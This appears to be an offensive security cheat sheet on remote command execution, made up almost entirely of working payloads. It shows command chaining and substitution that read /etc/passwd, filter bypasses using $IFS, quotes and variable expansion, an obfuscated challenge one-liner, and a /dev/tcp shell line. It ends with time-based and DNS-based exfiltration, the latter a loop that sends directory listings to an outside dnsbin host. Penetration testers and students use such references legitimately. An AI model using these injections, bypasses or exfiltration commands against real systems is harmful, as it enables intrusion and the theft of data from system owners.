

# Remote Commands Execution

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Remote Commands execution is a security vulnerability that allows an attacker to execute Commands from a remote server. NOTE: Reverse Shell Command are relocated to a single file

(<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md>)

## Exploits

Normal Commands execution, execute the command and voila :p

```
❏ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
```

Commands execution by chaining commands

```
❏ original_cmd_by_server; ls
original_cmd_by_server && ls
original_cmd_by_server | ls
original_cmd_by_server || ls    Only if the first cmd fail
```

Commands execution inside a command

```
❏ original_cmd_by_server `cat /etc/passwd`
original_cmd_by_server $(cat /etc/passwd)
```

Commands execution without space - Linux

```
❏ swissky@crashlab:~/Www$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash

swissky@crashlab> ~ ▶ $ {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab> ~ ▶ $ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab> ~ ▶ $ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

swissky@crashlab> ~ ▶ $ X='$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu

swissky@crashlab> ~ ▶ $ sh</dev/tcp/127.0.0.1/4242
```

Commands execution without space - Windows

```
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```

Commands execution without spaces, \$ or { } - Linux (Bash only)

```
IFS=,;`cat<<<uname,-a`
```

Commands execution with a line return

```
something%0Acat%20/etc/passwd
```

Bypass blacklisted word with single quote

```
w'h'o'am'i
```

Bypass blacklisted word with double quote

```
w"h"o"am"i
```

Bypass blacklisted word with backslash

```
w\h\o\am\i
```

Bypass blacklisted word with \$@

```
who$@ami
```

Bypass blacklisted word with variable expansion

```
test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\hm/}
cat ${test//hh??hm/}
```

Bypass zsh/bash/sh blacklist

```
echo $0
-> /usr/bin/zsh
echo whoami|$0
```

## Challenge

Challenge based on the previous tricks, what does the following command do:

```
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
```

## Time based data exfiltration

Extracting data : char by char

```
swissky@crashlab> ~ ▶ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```

```
real    0m5.007s
user    0m0.000s
sys     0m0.000s

swissky@crashlab ~ ▶ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys     0m0.000s
```

## DNS based data exfiltration

Based on the tool from <https://github.com/HoLyVier/dnsbin> also hosted at [dnsbin.zhack.ca](https://dnsbin.zhack.ca)

```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "http://$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

## Thanks to

- SECURITY CAFÉ – Exploiting Timed Based RCE (<https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/>)
- Bug Bounty Survey – Windows RCE spaceless (<https://twitter.com/bugbsurveys/status/860102244171227136>)
- No PHP, no spaces, no \$, no { }, bash only – @asdizzle ([https://twitter.com/asdizzle\\_/status/895244943526170628](https://twitter.com/asdizzle_/status/895244943526170628))
- #bash #obfuscation by string manipulation – Malwrologist, @DissectMalware (<https://twitter.com/DissectMalware/status/1025604382644232192>)